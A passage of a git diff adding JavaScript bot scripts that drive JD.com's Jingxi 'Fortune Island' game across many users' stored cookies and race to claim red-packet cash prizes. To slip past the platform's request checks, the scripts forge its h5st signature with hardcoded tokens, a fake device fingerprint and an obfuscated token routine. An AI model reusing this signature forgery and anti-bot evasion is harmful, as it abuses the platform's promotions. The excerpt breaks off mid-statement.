$.canHelp = false + $.delcode = true + } else { + $.canHelp = false + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + const { + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + Business = {}, + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n`); + $.shareCodes.push(strMyShareId) + } + $.info = { + ...$.info, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + }; + resolve({ + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&dwIsPP=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + }; +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.shareCodes, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes])]; + } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://ghproxy.com/https://raw.githubusercontent.com/jiulan/helpRepository/main/json/cfd_hb.json`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +function getJxToken() { + var _0x1e2686 = { + 'kElFH': 'abcdefghijklmnopqrstuvwxyz1234567890', + 'MNRFu': function(_0x433b6d, _0x308057) { + return _0x433b6d < _0x308057; + }, + 'gkPpb': function(_0x531855, _0xce2a99) { + return _0x531855(_0xce2a99); + }, + 'KPODZ': function(_0x3394ff, _0x3181f7) { + return _0x3394ff * _0x3181f7; + }, + 'TjSvK': function(_0x2bc1b7, _0x130f17) { + return _0x2bc1b7(_0x130f17); + } + }; + + function _0xe18f69(_0x5487a9) { + let _0x3f25a6 = _0x1e2686['kElFH']; + let _0x2b8bca = ''; + for (let _0x497a6a = 0x0; _0x1e2686['MNRFu'](_0x497a6a, _0x5487a9); _0x497a6a++) { + _0x2b8bca += _0x3f25a6[_0x1e2686['gkPpb'](parseInt, _0x1e2686['KPODZ'](Math['random'](), _0x3f25a6['length']))]; + } + return _0x2b8bca; + } + return new Promise(_0x1b19fc => { + let _0x901291 = _0x1e2686['TjSvK'](_0xe18f69, 0x28); + let _0x5b2fde = (+new Date())['toString'](); + if (!$.cookie['match'](/pt_pin=([^; ]+)(?=;?)/)) { + console['log']('此账号cookie填写不规范,你的pt_pin=xxx后面没分号(;)\n'); + _0x1e2686['TjSvK'](_0x1b19fc, null); + } + let _0x1bb53f = $.cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]; + let _0x367e43 = $['md5']('' + decodeURIComponent(_0x1bb53f) + _0x5b2fde + _0x901291 + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString'](); + _0x1e2686['TjSvK'](_0x1b19fc, { + 'timestamp': _0x5b2fde, + 'phoneid': _0x901291, + 'farm_jstoken': _0x367e43 + }); + }); +} +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_hb.js b/jd_cfd_hb.js new file mode 100644 index 0000000..e744978 --- /dev/null +++ b/jd_cfd_hb.js @@ -0,0 +1,2252 @@ + +/* +财富岛兑换红包 +作者:gaoyucindy +============Quantumultx=============== +[task_local] +#财富岛兑换红包 +50 * * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd.hb.js, tag=财富岛兑换红包, enabled=true +===========Loon============ +[Script] +cron "50 * * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd.hb.js,tag=财富岛兑换红包 +============Surge============= +财富岛兑换红包 = type=cron,cronexp="50 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd.hb.js +===========小火箭======== +财富岛兑换红包 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd.hb.jss, cronexpr="50 * * * *", timeout=3600, enable=true + */ +const $ = new Env('财富岛兑换红包'); +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + + +$.appId = 10032; + + +$.exchangeItems = [] +let cookiesArr = []; +Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) +}) + +!(async () => { + await requestAlgo(); + let m = new Date().getMinutes() + if (m < 50 && m > 0) { + console.log('过时间自动结束') + return + } + + let oneyuan = false + if ((new Date().getHours() >= 19 && new Date().getHours() < 23) || !process.env.land_hb_cookies) { + oneyuan = true + for (let i = 0; i < 10; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await readExchangeItem(); + } + } + } + + if (m === 0) { + console.log('直接开始抢') + } else { + let waitMin = 59 - m + let waitSec = 60 - new Date().getSeconds()+0.5 + waitSec = waitSec + waitMin * 60 + console.log(`等${waitSec}秒到整点`) + await $.wait(waitSec * 1000) + } + + + //超过3点不抢1元 + if (oneyuan) { + console.log('抢1元开始') + for (let i = 0; i < 10; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + run1yuan($.UserName); + } + } + } else { + if (process.env.land_hb_cookies) { + let cks = process.env.land_hb_cookies.split('&&') + $.env_prize = '100元' + console.log('开始跑环境变量ck') + for (let z = 0; z < 3; z++) { + for (let i = 0; i < cks.length; i++) { + if (cks[i]) { + $.cookie = cks[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + UA = 